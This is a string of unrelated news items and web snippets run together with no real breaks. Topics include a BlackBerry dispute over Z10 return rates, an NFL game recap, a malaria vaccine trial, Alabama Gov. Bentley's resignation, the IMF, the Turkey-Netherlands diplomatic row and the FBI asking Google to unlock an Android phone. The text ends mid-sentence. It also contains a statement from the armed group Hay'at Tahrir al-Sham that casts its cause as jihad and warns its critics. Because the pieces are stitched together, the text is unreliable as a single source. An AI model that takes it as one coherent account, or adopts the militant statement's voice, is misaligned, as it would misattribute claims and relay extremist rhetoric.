Thursday claimed that “key retail partners have seen a significant increase in Z10 returns to the point where, in several cases, returns are now exceeding sales, a phenomenon we have never seen before.” BlackBerry Chief Legal Officer Steve Zipperstein says that these claims are “materially false and misleading” and says that they were “deliberately purveyed for the purpose of influencing the markets.” BlackBerry’s full press release is posted below. BlackBerry Seeks U.S., Canadian Review of False Reports on Return Rates WATERLOO, ONTARIO–(Marketwired – April 12, 2013) – BlackBerry® (NASDAQ:BBRY)(TSX:BB), a world leader in mobile communications, today said it would seek Securities and Exchange Commission and Ontario Securities Commission review of a false and misleading report about retail return rates for the Company’s new BlackBerry Z10 smartphone. “Sales of the BlackBerry® Z10 are meeting expectations and the data we have collected from our retail and carrier partners demonstrates that customers are satisfied with their devices,” said BlackBerry President and CEO Thorsten Heins. “Return rate statistics show that we are at or below our forecasts and right in line with the industry. To suggest otherwise is either a gross misreading of the data or a willful manipulation. Such a conclusion is absolutely without basis and BlackBerry will not leave it unchallenged.” BlackBerry and Verizon Wireless, the largest U.S. carrier, on Thursday refuted claims from research and investment firm Detwiler Fenton that BlackBerry Z10 devices were being returned in unusually high numbers. Detwiler Fenton refused to make either its report to investors or its methodology available to BlackBerry, even after the Company said the firm’s findings were “absolutely false.” BlackBerry Chief Legal Officer Steve Zipperstein said: “These materially false and misleading comments about device return rates in the United States harm BlackBerry and our shareholders, and we call upon the appropriate authorities in Canada and the United States to conduct an immediate investigation. Everyone is entitled to their opinion about the merits of the many competing products in the smartphone industry, but when false statements of material fact are deliberately purveyed for the purpose of influencing the markets a red line has been crossed.” Zipperstein said BlackBerry would present its formal request to U.S. and Canadian regulators in the next several days. -It just sat there. The ball sat there on the Washington Redskins 27 yard line. Ryan Kerrigan, just two seconds ago, had violently knocked it out of Carson Wentz’s hands. It bounced and wobbled from the 25 yard line back two yards and just sat there. It was as if someone had pressed pause on the DVR. Kerrigan was on top of Wentz and Chris Baker was on top of Kerrigan. In a permanent 3 Stooges pose, all three could see the ball and all three looked at it helplessly as it just sat there. Time moved slowly as if it were some horrible dream where there’s a monster about to eat you alive and suddenly your legs can only move an inch at a time and you can’t run away. The agony! As many Redskins fans undoubtedly screamed at their televisions over and over again: “Pick it up you idiots! Pick it up!” Trent Murphy magically, triumphantly appeared from what must of been a Stargate wormhole and scooped up the loose ball ending the suffering and worry for Redskins fans everywhere. There could not have been a more appropriate ending to this game in which either team could have won if only someone would just take control once and for all, and put us all out of our emotional suffering. The rollercoaster of emotions began from the beginning of the game, until the very end. Allowing the Redskins to continue to dream about the playoffs for one more week. Although it is becoming increasingly clear that it might be just that, a dream. But more on that later. The Redskins defense began by allowing another long drive to start the game but held the Eagles to just 3 points. It appeared at first that the Eagles offense was going to come out aggressively and set the tone on this maligned Redskins defense on just their 2nd possession when they went marching down the field again and were at the Redskins 3 yard line when Wentz threw a touchback interception to cornerback Deshazor Everett in the endzone. Redskin fans surely praised all the gods when that play was made I can tell you. It was one of the many turning points in this game, as the Redskins took away sure points from the Eagles. Disappointingly, the Redskins marched down the field only to have kicker Dustin Hopkins hit the crossbar yet again this year and attain the low honor of missing the most field goals for NFL kickers this year. The Redskin front office should most definitely send Hopkins a message by having some kickers tryout on Monday to at least see what they have, if only to send the message that his inconsistency will not be tolerated. Thankfully by the time the 2nd quarter had rolled around, the Redskins seemed to find their footing and helped Robb “Fat Robb” Kelley make an excellent 22 yard rumbling touchdown play and place themselves back in control of the game. The Eagles would go on to score and take back the lead with just 38 seconds left in the 2nd quarter sending both teams to their locker rooms with the Eagles leading 13-7. Then surprisingly, in the 3rd quarter the Redskins used the hurry up offense and Kirk Cousins threw a rainbow of a pass that landed over Desean Jackson’s right shoulder in what might of been his best catch of his Redskins career for an 80 yard touchdown pass. It shocked his former team into a state of numbness. Which he reveled in with smiles and laughter. What a villain he has become to his former team, you know it hurts them to see it. The Eagles on the next ensuing drive, tried to make a field goal with the help of their tight end Brent Celek as the long snapper. The original long snapper had injured their wrist and now Celek was the next man up. It ended poorly as the snap was botched and the Eagles turned the ball over on downs. Then a small miracle happened. The Redskins marched down the field and scored a touchdown pass off a fade to Pierre Garcon in the Redzone. A fade for a touchdown! A Christmas miracle! God bless us, everyone. The only thing that would of made it sweeter is if it was on 3rd down. That foul demon will have to be slayed at a later time, but for now, the fade monkey seems to have died a glorious death. The Redskins were up 21-13. They had stopped the Eagles in a three and out and were going to end this game on another long drive right? Wrong. The pick six by Eagles cornerback Leodis McKelvin made the game excruciatingly close at 21-19. With an additional field goal by the Eagles making the game 22-21, which by the way, has a funny story to how it came to be as Celek was also knocked out of the game and the Eagles had to find another long snapper to help make the kick. I dreamt of having one of their fans come drunkenly down on to the field with beer in hand, batteries in pockets and proudly announce that they were here for the coach, hell for the city, if needed. It almost came to be but the Eagles found a professional football player instead to help make the kick. The Redskins marched down the field on the ensuing possession by converting a crucial 4th down and scored on a pitch to running back Chris Thompson who scrambled 25 yards into the endzone with 1:53 left in the game. Finally giving a short respite for the suffering Redskins fans. Undoubtedly many Redskin fans at that point in the game also knew there was too much time left for the Eagles to possibly win the game, with the current state of this Redskin defense. Luckily, Kerrigan created havoc, time stood still, and the defense made the play of the game. While the victory was sweet, the playoffs remain just slightly out of reach. And as the weeks move toward the end of the season it looks less and less likely that Redskin will make the playoffs. Due to the Arizona loss last week they no longer control their own destiny and will need help from some friends and enemies to sneak in. The Redskins will have to win out in order to get in no matter what happens and it might come down to the last week of the season, if they are lucky. For the Washington Redskins the playoffs do not start in 4 weeks. They have already begun. Lose and they are more than likely out of contention and must turn their eyes toward next year. Win, and they might just get a chance to make some noise and over come some more adversity. Comments comments Powered by Facebook Comments -This item has been removed from the community because it violates Steam Community & Content Guidelines. It is only visible to you. If you believe your item has been removed by mistake, please contact Steam Support This item is incompatible with Arma 3. Please see the instructions page for reasons why this item might not work within Arma 3. Current visibility: Hidden This item will only be visible to you, admins, and anyone marked as a creator. Current visibility: Friends-only This item will only be visible in searches to you, your friends, and admins. Come play "Flappy Kamysh" on the EUTW CTI Warfare Servers! Title Description Taken live on the [url=http://www.eutw.net]EUTW CTI Warfare[/url] servers by community member [url=http://steamcommunity.com/profiles/76561197972492202]N3croo[/url] Learn more about our public PVP mission servers based on the original Teetimes mod at [url]http://www.eutw.net[/url] and visit our wiki. Full video can be seen [url=https://www.youtube.com/watch?v=13t3CQqgLk8]HERE[/url]. Save Cancel Created by Xodius Last Online 33 days ago File Size Posted Size 0.980 MB Apr 3, 2014 @ 11:30pm 384 x 288 4,095 Unique Visitors 24 Current Favorites -SILVER SPRING, Md. - Walter Reed Army Institute of Research (WRAIR) researchers recently published the results of testing a Plasmodium vivax malaria vaccine candidate in a human challenge model. A vaccine to prevent infection and disease caused by P. vivax is critical to reduce sickness and mortality from vivax malaria, a common cause of malaria among deployed service members. While malaria no longer poses a significant threat in developed countries, it affects millions of people every year around the world. P. vivax malaria is challenging to control because it can be dormant, causing no symptoms, and then become active causing symptomatic malaria weeks to months after initial infection. The vaccine candidate developed by WRAIR and tested jointly with GlaxoSmithKline (GSK) to prevent vivax malaria infection is the first in-human study of its kind under an investigational new drug application with the US Food and Drug Administration. WRAIR investigators immunized 30 volunteers with three doses of the vaccine candidate. Malaria is only transmitted through the bite of a female mosquito. Immunized volunteers took part in WRAIR's well-established controlled human malaria infection (CHMI) model where they were bitten by malaria-infected mosquitoes. The efficacy of the vaccine candidate was then determined based on whether or not volunteers developed malaria by looking at blood smears or if it took longer for malaria parasites to appear in the blood. "This study represents the first vaccine study to test the effectiveness of a P. vivax vaccine candidate in humans using controlled human malaria infection," said Lt. Col. Jason W. Bennett, the study's lead investigator. The study's results were published today in the journal PLOS Neglected Tropical Diseases. Unlike P. falciparum where a CHMI model is well established, the P. vivax CHMI model must rely on blood donations from infected humans to initiate infections in mosquitoes. For this trial, the WRAIR investigators worked with the WRAIR overseas lab in Bangkok, Thailand, the Armed Forces Research Institute of Medical Sciences (AFRIMS), to acquire P. vivax-infected mosquitoes which were then transported to WRAIR for the malaria challenge. The vaccine candidate was well tolerated in all volunteers and generated robust immune responses. While the vaccine candidate did not prevent malaria infection, it did significantly delay parasitemia in 59% of vaccinated subjects. Col. Robert Paris, director of the US Military Malaria Research Program at WRAIR, is optimistic that an improved vaccine can be designed. "Findings from the analysis of the immune response of vaccinated subjects have given us clues to improve vaccine candidates and studies are now underway at WRAIR to develop next generation vivax vaccines," says Dr. Paris, "Vaccines and antimalarial drugs are both critical needs for the DoD to protect service members from malaria." Malaria challenge models require effective treatment for any resulting malaria infections. Investigators were also able to demonstrate that individuals with low or absent levels of a specific liver enzyme were unable to convert primaquine to an active drug form to kill the dormant stage of the parasites. These volunteers were more likely to experience vivax malaria relapse. The clinical data in this study is the first to show that differences in a person's genetics can result in primaquine treatment failure. Despite this newly identified limitation, primaquine remains the only FDA-approved drug to treat the dormant stages of vivax malaria. WRAIR remains dedicated to developing vaccines, cures, and other products to eradicate and curb the transmission of infectious diseases. Decades of research at WRAIR have culminated in many effective products, including vaccines for yellow fever, dengue fever, and Japanese encephalitis. This study demonstrates WRAIR's continued dedication to malaria prevention and marks an important step towards an effective P. vivax vaccine. ### About VMP001/AS01 B vaccine candidate To take into account the diversity of P. vivax strains, WRAIR researchers and collaborators developed vivax malaria protein 001 (VMP001) as a candidate vaccine for P. vivax malaria. The vaccine antigen VMP001 is an Escherichia coli produced synthetic chimeric recombinant protein that incorporates the three major domains of circumsporozoite protein (CSP), but is distinct from the native molecule. The VMP001 antigen was adjuvanted with AS01B, a proprietary liposome-based adjuvant system from GSK. This adjuvant system has been used in other malaria vaccine candidates, including RTS,S. The clinical trial was funded by the PATH Malaria Vaccine Initiative (MVI) and the U.S. Army Military Infectious Diseases Research Program (MIDRP). About the Walter Reed Army Institute of Research Headquartered in Silver Spring, Maryland, the Walter Reed Army Institute of Research (WRAIR) has a long history and diverse mission as the premier military research institute in the Department of Defense. With comprehensive research units in Africa, Asia, and the Caucasus region, WRAIR is comprised of two Centers of Excellence, the Center for Infectious Disease Research and the Center for Military Psychiatry and Neuroscience. -Women might not see equal pay for decades. (iStock) After graduating from college, men and women earn almost the same amount -- and in some fields, even more -- during their first years in the workforce, according to new research from the Federal Reserve Bank of New York. Too bad it doesn’t last. Economists Jaison A. Abel and Richard Deitz found that women who have recently graduated from college make about 97 cents for every dollar their male counterparts take home -- a much narrower gap than the national average of 82 cents. In fact, for 29 of the 73 majors they analyzed, women actually outearned men. The traditional gender pay disparity was reversed in fields ranging from philosophy to aerospace engineering to social services. But victory -- if you can call it that -- is fleeting. By the time men and women reach the middle of their careers, between the ages of 35 and 45, the gender pay gap is back and bigger than before. Mid-career college-educated women make just 85 cents for every dollar paid to their male coworkers. Even worse, those fields in which women outearned men? The tables have turned. Women who majored in construction services, for example, enjoyed an 8 percent premium over men when they were fresh out of college. But within a few years, men’s wages outpace women’s by 24 percent. So once again, women are stuck taking two steps forward and one step back. The reasons why are outside the scope of the research, though the authors suggest several theories. If the gender pay disparity is an example of discrimination against female workers, perhaps it manifests more strongly later in a career. The pay gap could also be more about motherhood than gender. In the first years after graduating from college, most workers -- male or female -- are single and childless. But by mid-career, many of them have started families. And since most of the burden of childcare -- and all of the burden of childbirth -- falls on women, several studies have shown that working mothers’ wages and career prospects take a hit as a result. "It’s not clear what’s driving these differences," Deitz said. "It’s something we wanted to start a conversation about.” -Former Alabama Governor Robert Bentley speaks after officially resigning on Monday, April 10, 2017, in Montgomery, Ala. Bentley resigned Monday rather than face impeachment and pleaded guilty to two misdemeanor campaign violations that arose during an investigation of his alleged affair with a top aide. (Albert Cesare/The Montgomery Advertiser via AP) MONTGOMERY, Ala. (AP) — Alabama Gov. Robert Bentley resigned Monday rather than face impeachment and pleaded guilty to two misdemeanor campaign violations that arose during an investigation of his alleged affair with a top aide. In a remarkable fall, the mild-mannered 74-year-old Republican and one-time Baptist deacon stepped down as the sex-tinged scandal gathered force over the past few days. Legislators turned up the pressure by opening impeachment hearings Monday. Last week, the Alabama Ethics Commission cited evidence that Bentley broke state ethics and campaign laws and referred the matter to prosecutors. “There’ve been times that I let you and our people down, and I’m sorry for that,” Bentley said in the old House chamber of Alabama’s Capitol after he pleaded guilty. The violations were discovered during the investigation of his affair but were not directly related to it. In court, Bentley appeared sullen and looked down at the floor. He stood up and said “yes, sir” in a gravelly voice as the judge read out the charges he was pleading guilty to. One misdemeanor charge against Bentley stemmed from a $50,000 loan he made to his campaign in November that investigators said he failed to report until January. State law says major contributions should be reported within a few days. The other charge stemmed from his use of campaign funds to pay nearly $9,000 in legal bills for political adviser Rebekah Caldwell Mason last year. “He did what he did, and he deserves now to be called a criminal,” said Ellen Brooks, a retired district attorney overseeing the state investigation. The resignation and guilty plea were a dramatic reversal from the man who on Friday stood on the Capitol steps and said he would not leave office because he had done nothing illegal. The plea agreement specified that Bentley must surrender campaign funds totaling nearly $37,000 within a week and perform 100 hours of community service as a physician. The dermatologist also cannot seek public office again. Bentley’s successor is Lt. Gov. Kay Ivey, who became Alabama’s second female governor. The first was Lurleen Wallace, wife of segregationist and four-term Gov. George C. Wallace. She ran as a surrogate for her still-powerful husband in 1966 when he couldn’t seek re-election because of term limits. She won, but died in office in 1968. “The Ivey administration will be open. It will be transparent. And it will be honest,” Ivey said. Bentley said in his statement that he no longer wanted to subject his family and staff “to the consequences that my past actions have brought upon them.” His staff gave him a standing ovation as he entered and exited the old House chamber. Bentley’s resignation follows the ouster of former House Speaker Mike Hubbard, who left office in 2016 after being convicted on ethics charges, and former state Supreme Court Chief Justice Roy Moore, who was suspended from his post last year over an order opposing same-sex marriage. Bentley, a staunch family-values conservative who won two terms partly because of his reputation for moral rectitude, was first engulfed in scandal last year after recordings surfaced of him making sexually charged comments to the 45-year-old Mason. An investigative report prepared for the House Judiciary Committee and released last week said Bentley encouraged an “atmosphere of intimidation” to keep the story under wraps and directed law enforcement officers to track down and seize the recordings. The report portrayed the governor as paranoid and obsessed with trying to keep the relationship secret. The committee on Monday started what was expected to be days of hearings. Bentley lawyer Ross Garber had argued that impeachment should be reserved for only the “most grave misconduct,” noting that only two U.S. governors have been impeached since 1929, and both were indicted for serious felonies. “It is not unusual for elected officials to have ethics and campaign finance issues. In fact, many governors face these things. It is very rare, though, for legislators to try to leverage those issues to impeach a governor. In fact, it is simply not done,” Garber told The Associated Press in an email. The last U.S. governor to be impeached was Illinois Gov. Rod Blagojevich in 2009. He was removed from office and is now serving a prison sentence for conspiring to sell an appointment to President Barack Obama’s vacant U.S. Senate seat. The investigative report contained text messages that the governor sent to Mason. They were intercepted by Bentley’s then-wife, Dianne Bentley, who was able to read the messages because they also showed up on the governor’s state-issued iPad, which he had given her. “I sure miss you. I need you. I want you. You are the only one,” one message read. Dianne Bentley divorced her husband in 2015 after 50 years of marriage. Bentley denied having a physical relationship with his former aide, though in some of the recordings he talked about the pleasure he got from fondling her breasts. At one point, according to the investigative report, the governor sent the head of his security detail to fetch the recording from his son Paul Bentley, who responded: “You ain’t getting it.” Dianne Bentley had secretly recorded her husband by leaving her phone on while she went for a walk. The former first lady’s chief of staff also charged that Bentley threatened her job because he believed she had helped his wife make the recordings. Former Law Enforcement Secretary Spencer Collier, who a day after being fired by Bentley last year held a news conference where he publicly revealed the affair accusation, said he feels vindicated by the resignation and plea deal. GOP leaders in the House and Senate called on Bentley to resign, as has the Alabama Republican Party’s steering committee. “It’s really time for us to look ahead and start moving forward on more pressing matters,” Republican Sen. Cam Ward said. “It was a constant distraction, one that was never going to change, and it’s time for us to get back to work.” Two of Bentley’s predecessors in the past three decades have been convicted of crimes: Republican Guy Hunt in the 1990s, for misusing funds, and Democrat Don Siegelman, who was convicted of bribery in 2006. ___ Associated Press writer Jay Reeves in Birmingham contributed to this report. ____ This story corrects an earlier version that said two of Bentley’s predecessors went to prison. Former Gov. Guy Hunt was convicted, but did not go to prison. It also corrects that Bentley lawyer Ross Garber represented former Gov. Mark Sanford of South Carolina and Gov. John Rowland of Connecticut during impeachment proceedings, not Illinois Gov. Rod Blagojevich. -The International Monetary Fund took on a bigger global role Sunday as its 186 member nations accepted the mantle of guiding a lasting economic recovery from the 20 largest economies. The IMF’s steering committee endorsed the Group of 20 summit plan for sustainable growth after the worst economic crisis in decades, including an increase in voting rights of at least five percent for under-represented countries. At their Pittsburgh summit a little more than a week ago, the G20 largest rich and emerging-market economies, asked the IMF to help them shape a robust global economy and reform the fragile financial system. The International Monetary and Financial Committee (IMFC), representing all members, backed the plan at a meeting in Istanbul ahead of the annual meetings of the IMF and World Bank that open Tuesday. The panel vowed to maintain stimulus support of growth “until a durable recovery is secured” and take further steps as needed “to revive credit, recover lost jobs, and reverse setbacks in poverty reduction.” IMF chief Dominique Strauss-Kahn said that with the IMFC meeting, “we are off to the right start — building on the commitment to sustain cooperation and extending it to a far broader group of countries.” He said the meetings offered “a unique opportunity to reshape the post-crisis world, to usher in a new era of collaborative global governance.” Timothy Geithner, the US Treasury secretary, said the United States, effectively the only member with veto power in the Washington-based institution, is looking to the IMF “to play a key role in assisting the assessment of G20 economic and financial policies.” Not all were satisfied with the IMF steering committee’s approval of the G20 request for a shift in the allocation of quotas, or voting power, to mainly developing countries. “There will be no ‘new IMF’ without a more representative and democratic governance structure,” said Argentina’s finance minister, Amado Boudou. “To achieve this goal, the voice and representation of developing countries, including the poorest, must be significantly increased,” said Boudou, who also represents Bolivia, Chile, Peru, Paraguay and Uruguay on the IMFC. International aid agency Oxfam director Bernice Romero agreed, calling the quota shift “shameful,” and adding that “rich countries are still making decisions for the rest of the world.” China’s deputy central bank governor, Yi Gang, said successful governance reforms, including a “significant” quota realignment, were key to “the capacity of the fund to deliver” by enhancing its legitimacy and effectiveness. Strauss-Kahn called for a “substantial increase” in resources from members after the IMFC opened the door for action to reduce so-called global imbalances blamed for the current crisis. The IMF managing director said the fund’s new Flexible Credit Line had provided important support to emerging-market economies amid the global economic crisis, with Mexico, Poland and Colombia signing up earlier this year. But the credit line, offered at a fee for access to the fund’s reserves, is limited in scope and concerns only a certain category of countries, the former French Socialist finance minister said. “Now we need to reflect and think about an extension of this idea of insurance” to fix the so-called global imbalances where some countries accumulate huge reserves and others build up huge deficits, he said. “If you want to avoid countries, including China, to build such big reserves, contributing to global imbalances, we need to find another system,” he said. An IMF pool of reserves that members could tap could serve as an international guarantee against financial shocks, he said. “The communique opens the door for the IMF to think about it, and I think it’s very important for the post-crisis world because it’s one possible way to contribute to solving this global imbalances problem.” In a speech Friday in Istanbul, Strauss-Kahn appealed for more resources so the fund could become a credible global lender of last resort, suggesting a trillion dollars or more may be needed. -All praises to Allah who said “Allah loves not the utterance of harsh speech except by one who has been wronged. And ever is Allah Hearing and Knowing.” And peace and blessings be upon the Messenger of Allah and his family and all of his companions. As for what comes forth; Hay’at Tahrir Shaam has strived since it has been launched to establish a Sunni entity which gathers the capacities of the people of Shaam to repel the transgressing enemy, and to represent the revolution of the people of Shaam in a way that suits them. It sacrificed the costly and precious to achieve this noble goal. Except that some frantic people -may Allah guide them and forgive them- with their limited sight and narrow vision were against this course from the beginning. And they did not stop there, rather they strived hard to crush and shake this building and spread turmoil and rumors in it under several excuses and different methods which reached the level of lies and defamation. The leadership tried to contain the situation by dialogue and discussion, there have been meetings after meetings to explain the matter in the hope that they would step back, but to no avail. Until the scholarly reconciliation initiative was launched of which we translated our position practically on the actual ground, with calls to meetings on the ground, removed far away from the talks in the media and its incitements. But they refused -and with strange obstinacy- to even sit despite the repeated calls. They threw against the wall every call to calmness. As they exploited the preoccupation of Hay’at Tahrir Shaam who were busy defending against the transgressing Rawafid and Khawarij in the heated situation in which the fronts presently are; not to incite towards Ribaat and Jihaad, rather to demoralize and disappoint the youth through the spread of confusion. Which in the end comes to the conclusion of judging a Sunni Mujahid gathering, which performs the obligation of our time, with deviation and corruption. This during a time in which we need unity of word and rank the most. And due to the increasing harm and evil which these gatherings caused, they were informed and alarmed previously that the matter will be brought before judicial authorities after the attempts of reconciliations failed and the situation could not stay hanging without resolution. So the leadership of Hay’at Tahrir Shaam departing from their obligation towards the arena and towards its soldiers, to prevent the arena from slipping to dangerous consequences, and after the road to desired reconciliation was blocked; it presented a list calling the heads of turmoil to a just Sharia court which will show the reality. And the case is now with the judicial authorities to come with its decisive word. In conclusion we would like to explain that a project for which blood is spilled, people are displaced and souls are taken, we will not neglect its protection and its defense with every legitimate method. And we will not allow irresponsible abusive hands to spread harm and evil from the people of exceedance or the people of abandonment. And Allah is the granter of success. And all praises are due to Allah the Lord of the worlds. Original: -In 1992, the 400th richest person in America made $24 million. In 2007, the 400th richest person in America made $138 million (or $87 million, inflation-adjusted). Now, that almost certainly wasn't the same guy. There's a lot of churn at the top of the money pyramid. In all of the 1990s, only 25% of the Fortunate 400 made more than one appearance. But the overall message is the same. The rich keeping getting richer. According to the IRS, which recently released 2009 data from the 400 richest individual income tax returns, the real runaway growth in wealth has come from capital gains. In the last years of the bubble, the "Fortunate 400" made nearly half their income from capital gains (a.k.a.: profit from the rising value of an investment, such as stocks or property) and less than 10% of their income from old-fashioned wages. The average income of a top-400 earner grew by 650% between 1992 and 2007 to a whopping $344 million. Over that time, the average salary barely doubled. But the average capital gains haul increased by 1,200%. How do the richest get richer? Not from their wages. From their investments. Here's a look at the average salary and average capital gains income of a top-400 earner since 1992. Y-axis is labeled in thousands of dollars and all-time highs are noted in the graph. -Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email The government of Turkey's president Recip Tayyip Erdogan could face a total ban from EU states as Denmark joined the Netherlands and Germany in turning away his ministers. Danish prime minister Lars Lokke Rasmussen has stepped into the escalating row by announcing his government had postponed the visit of Turkish Prime Minister Yildirim. It comes after Erdogan warned the Netherlands it will "pay" after his country's minister's were barred from speaking in Rotterdam. EU leaders are joining in opposition to hosting Ankara's political campaigning among Turkish immigrants and there are calls in some quarters for the Union to take a united stand against Erdogan. German Chancellor Angela Merkel has said she will do everything possible to prevent Turkish political tensions spilling onto German soil following rising tensions between Ankara, The Hague, Berlin and other European capitals. Meanwhile, four rallies in Austria and one in Switzerland have been cancelled due to the growing dispute. Riots broke out in Rotterdam last night as Turkey warned the Netherlands it will retaliate in the "harshest ways" after Turkey's family minister was prevented by police from entering the Turkish consulate in Rotterdam. Erdogan branded his fellow NATO member a "Nazi remnant" as the dispute escalated into a diplomatic incident on Saturday evening. "They will certainly pay the price, and also learn what diplomacy is. We will teach them international diplomacy," Erdogan said in a speech at an awards ceremony in Istanbul. In a statement Danish PM Rasmussen said that "under normal circumstances it would be a pleasure for me to greet Prime Minister Yilderim in Copenhagen. "But with the current current rhetorical attacks by Turkey against the Netherlands, a new meeting cannot be seen isolated from that. I have therefore suggesed to my Turkish colleague that our meeting is postponed." Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now (Image: REUTERS) (Image: AFP) (Image: Getty Images Europe) (Image: REUTERS) Hundreds of protesters waving Turkish flags gathered outside, demanding to see the minister. Dutch police used dogs and water cannon early on Sunday to disperse the crowd, which threw bottles and stones. Several demonstrators were beaten by police with batons, a witness said. They carried out charges on horseback, while officers advanced on foot with shields and armoured vans. Protesters, meanwhile, have also taken to the streets of Istanbul and Ankara. (Image: Getty Images Europe) (Image: REUTERS) (Image: REUTERS) Less than a day after Dutch authorities prevented Foreign Minister Mevlut Cavusoglu from flying to Rotterdam, Turkey's family minister, Fatma Betul Sayan Kaya, said on Twitter she was being escorted back to Germany. "The world must take a stance in the name of democracy against this fascist act! This behaviour against a female minister can never be accepted," she said. The Rotterdam mayor confirmed she was being escorted by police to the German border. Kaya later boarded a private plane from the German town of Cologne to return to Istanbul, mass-circulating newspaper Hurriyet said on Sunday. (Image: REUTERS) (Image: EPA) (Image: AFP) The Dutch government, which stands to lose heavily to the anti-Islam party of Geert Wilders in elections next week, said it considered the visits undesirable and "the Netherlands could not cooperate in the public political campaigning of Turkish ministers in the Netherlands." The government said it saw the potential to import divisions into its own Turkish minority, which has both pro- and anti-Erdogan camps. Dutch politicians across the spectrum said they supported Prime Minister Mark Rutte's decision to ban the visits. (Image: REUTERS) (Image: REUTERS) In a statement issued early on Sunday, Prime Minister Binali Yildirim said Turkey had told Dutch authorities it would retaliate in the "harshest ways" and "respond in kind to this unacceptable behaviour". Turkey's foreign ministry said it did not want the Dutch ambassador to Ankara to return from leave "for some time". Turkish authorities sealed off the Dutch embassy in Ankara and consulate in Istanbul in apparent retaliation and hundreds gathered there for protests at the Dutch action. Erdogan is looking to the large number of emigre Turks living in Europe, especially in Germany and the Netherlands, to help clinch victory next month in a referendum that would give the presidency sweeping new powers. (Image: AFP) (Image: REUTERS) Erdogan has cited domestic threats from Kurdish and Islamist militants and a July coup bid as cause to vote "yes" to his new powers. But he has also drawn on the emotionally charged row with Europe to portray Turkey as betrayed by allies while facing wars on its southern borders. (Image: ANP) (Image: REUTERS) The Dutch government had banned Turkish Foreign Minister Mevlut Cavusoglu from attending a rally on Saturday in Rotterdam but he said he would fly there anyway, saying Europe must be rid of its "boss-like attitude". Cavusoglu, who was barred from a similar meeting in Hamburg last week but spoke instead from the Turkish consulate, accused the Dutch of treating the many Turkish citizens in the country like hostages, cutting them off from Ankara. "If my going will increase tensions, let it be ... I am a foreign minister and I can go wherever I want," he added hours before his planned flight to Rotterdam was banned. Cavusoglu threatened harsh economic and political sanctions if the Dutch refused him entry, and those threats proved decisive for the Netherlands government. (Image: REUTERS) (Image: Getty) It cited public order and security concerns in withdrawing landing rights for Cavusoglu's flight and said the threat of sanctions made the search for a reasonable solution impossible. "This decision is a scandal and unacceptable in every way. It does not abide by diplomatic practices," Cavusoglu told reporters in Istanbul on Saturday evening. Dutch anti-Muslim politician Wilders, polling second ahead of Wednesday's elections, said in a tweet on Saturday: "To all Turks in the Netherlands who agree with Erdogan: Go to Turkey and NEVER come back!!" Rutte, the Dutch prime minister, said: "This morning on TV (the Turkish minister) made clear he was threatening the Netherlands with sanctions and we can never negotiate with the Turks under such threats. So we decided ... in a conference call it was better for him not to come." (Image: Getty Images Europe) Addressing a rally of supporters, Erdogan retaliated against the decision to prevent the Turkish foreign minister from visiting Rotterdam. "Listen Netherlands, you'll jump once, you'll jump twice, but my people will thwart your game," he said. "You can cancel our foreign minister's flight as much as you want, but let's see how your flights will come to Turkey now." "They don't know diplomacy or politics. They are Nazi remnants. They are fascists," he said. Rutte called Erdogan's reference to Nazis and Fascists "a crazy remark". He added: "I understand they're angry but this is of course way out of line". (Image: Getty Images Europe) Erdogan chafes at Western criticism of his mass arrests and dismissals of people authorities believe were linked to a failed July attempt by the military to topple him. He maintains it is clear the West begrudges him new powers and seeks to engineer a "no" vote in the referendum. Barred from the Netherlands, Cavusoglu arrived in France on Saturday ahead of a planned speech to Turkish emigres in the northeastern city of Metz on Sunday, a Reuters witness said. Earlier, an official at the Moselle regional prefecture told Reuters there were currently no plans to prevent the meeting from going ahead. A member of the Union of European Turkish Democrats also said on Saturday via a Facebook post that the Turkish foreign minister would no longer come to Switzerland for a planned event on Sunday after failing to find a suitable venue. Zurich's security department, which had unsuccessfully lobbied the federal government in Bern to ban Cavusoglu's appearance, said in a statement on Saturday evening it was relieved the event had been cancelled. -The FBI secured a pimp’s Samsung Android phone as part of a case following a former pimp released on parole who seemed to be partaking in pimping activities once again, specifically through the use of his Android phone. The pimp previously signed a Fourth Amendment search rights waiver, which allowed the FBI to search his home and property at any time without a court order. When he turned over his phone, he didn’t unlock the device, even though his parole conditions prevented him from hiding or locking digital files, but claimed the phone belonged to his sister. Amusingly, the FBI couldn’t crack the phone’s unlock pattern, and then served a warrant to Google, Android’s developer, to help them unlock the phone. The FBI obtained a warrant to search the phone last month, but weren’t able to crack it due to the phone’s swipe password lock, which can actually be easily defeated — either by simply looking at the smudges on the phone’s screen, or because you’re the FBI and should have access to a variety cracking tools and skilled employees who know how to use them. The FBI attempted the password too many times, which locked the phone, which in turn could only be unlocked using the phone owner’s Google account credentials. As you could imagine, the pimp refused to cooperate, so the FBI served Google with a warrant in order to get the Android developers to help out. In the warrant, the FBI essentially asked for everything it could. They wanted the subscriber’s name, address, account login and password, Social Security number, all email and contact list information stored on the phone, all text, photo and video messages sent and received from the phone, any email addresses or instant messenger accounts that appear on the phone, all search terms, Internet history, and GPS data stored on the phone, as well as all times and durations spent on any webpages accessed with the phone. Also, as you might’ve guessed, the FBI asked for instructions on how to bypass the phone’s pattern lock. So, the amusing story here isn’t that the FBI is trying to bring down some pimp, but that the crack team at the FBI couldn’t bypass a swipe pattern lock and served Google with a warrant to do it for them. (via Ars Technica) Relevant to your interests -The flight, chartered by the World Food Programme (WFP), includes 340 family tents, 42 metric tonnes of high energy biscuits and 15 metric tonnes of special nutrition bars contributed by the US Agency for International Development (USAID). The supplies will be distributed by WFP and the Office of the UN High Commissioner for Refugees (UNHCR). “The continuing exodus of people fleeing Syria into Iraq over the last month has been unprecedented,” said UNHCR Representative in Iraq Claire Bourgeois. “With the support of the government of the Kurdistan Region, UNHCR, WFP and our partners are in a race against time to meet the needs of the tens of thousands of new arrivals.” Over the past two weeks, more than 44,000 Syrian refugees have crossed into the Kurdish region of northern Iraq. Most of them are women and children sheltered in camps or collective facilities while others reside with family and friends. A second flight is due to arrive in Erbil today from Adana, Turkey, carrying 93 metric tonnes of food, enough to feed 11,500 people for three weeks. In addition to the flights, WFP is mobilizing more than 37,000 rations from around the region to feed up to 185,000 people for one month. Some 25 trucks carrying 500 metric tonnes of food supplies arrived Monday from Turkey to meet the urgent food need of refugees. In a news release, UNHCR and WFP said most of the newly arrived Syrians have been transferred to Kawergosk camp, close to Erbil, which is now home to an estimated 15,000 refugees. “In the last 12 days, aid workers have turned the desolate Kawergosk site from an empty plain into a burgeoning refugee camp that now must be prepared for northern Iraq’s rough winters,” the agencies said. UNHCR has so far sent over 